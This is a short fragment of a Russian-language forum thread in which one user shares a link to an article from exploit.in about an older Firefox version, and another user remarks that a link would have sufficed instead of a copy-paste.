    Была статья на эту тему, выкладываю, может кому-нибудь пригодится. Правда там к более старой версии фрайерфокса, но может кто сумеет переделать. Статья скопирована с exploit.in , но автор вроде как с античата

    http://exploit.in/forum/index.php?showtopic=32987
     
  20. 7mm

    7mm New Member

    Публикаций:
    0
    Регистрация:
    15 дек 2009
    Сообщения:
    442
    Может быть стоило просто привести линк, чем делать примитивный копи-паст?